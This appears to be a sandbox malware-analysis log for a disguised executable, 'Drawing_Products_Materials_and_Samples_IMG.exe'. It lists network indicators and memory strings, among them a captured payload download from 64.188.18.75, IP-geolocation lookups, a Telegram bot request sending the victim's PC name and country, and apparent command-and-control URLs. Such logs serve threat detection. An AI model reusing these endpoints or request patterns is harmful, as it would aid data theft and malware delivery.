Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75

Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/79.127.132.20 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%2024/09/2024%20/%2010:31:19%0D%0ACountry%20Name:%20Czechia%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ReySnONaTTPqhXrIqUlWWanbq212.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 64.188.18.75Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: smtp.zoho.eu

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 24 Sep 2024 14:31:22 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22124915981.00000000046DC000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22138896008.0000000033CA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://64.188.18.75/ReySnONaTTPqhXrIqUlWWanbq212.bin
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22124915981.00000000046DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://64.188.18.75/ReySnONaTTPqhXrIqUlWWanbq212.binp
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034921000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034921000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034ABE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.0000000036960000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.000000003697C000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22124915981.0000000004738000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.thawte.com/ThawteTLSRSACAG1.crt0
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.0000000036960000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.000000003697C000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22124915981.0000000004738000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cdp.thawte.com/ThawteTLSRSACAG1.crl0p
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A9B000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034921000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034AA6000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.0000000036960000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034921000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.000000003697C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.000000003697C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.0000000036960000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.000000003697C000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22124915981.0000000004738000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000001.17726016358.0000000000649000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.
Source: Drawing_Products_Materials_and_Samples_IMG.exe, Sophia.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: Drawing_Products_Materials_and_Samples_IMG.exe, Sophia.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.0000000036960000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.000000003697C000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22124915981.0000000004738000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0B
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034921000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://smtp.zoho.eu
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.0000000036960000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.000000003697C000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22124915981.0000000004738000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://status.thawte.com0:
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034921000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.0000000036960000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.000000003697C000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22124915981.0000000004738000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000001.17726016358.0000000000649000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.gopher.ftp://ftp.
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000001.17726016358.0000000000626000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000001.17726016358.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000001.17726016358.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034ABE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034ABE000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034ABE000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349D1000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034ABE000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034ABE000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20a
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DE4000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DA2000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035AB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BD2763DD2
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000001.17726016358.0000000000649000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.000000003496A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.000000003496A000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/79.127.132.20
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A9B000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034AA6000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/79.127.132.20$
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.0000000036960000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.000000003697C000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22124915981.0000000004738000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DA2000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349E6000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035AB0000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DB8000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035AC6000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349E6000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035E0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035AB0000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035D94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/Google
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DB8000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035AC6000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349E6000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035E0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/next-steps.html?statcb=0&installdataindex=empty&defaultbrowser=0
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035D94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/next-steps.html?statcb=0&installdataindex=empty&defaultbrowser=0Google
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DC8000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035AA2000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035D94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chromeGoogle
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/favicon.ico
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DBA000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035D94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=backslash&sca_esv=620c24330b4497e4&sca_upv=1&ei=UDzhZpjjMZyIptQPqai-
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035ABE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=backslash&sourceid=chrome&ie=UTF-8backslash
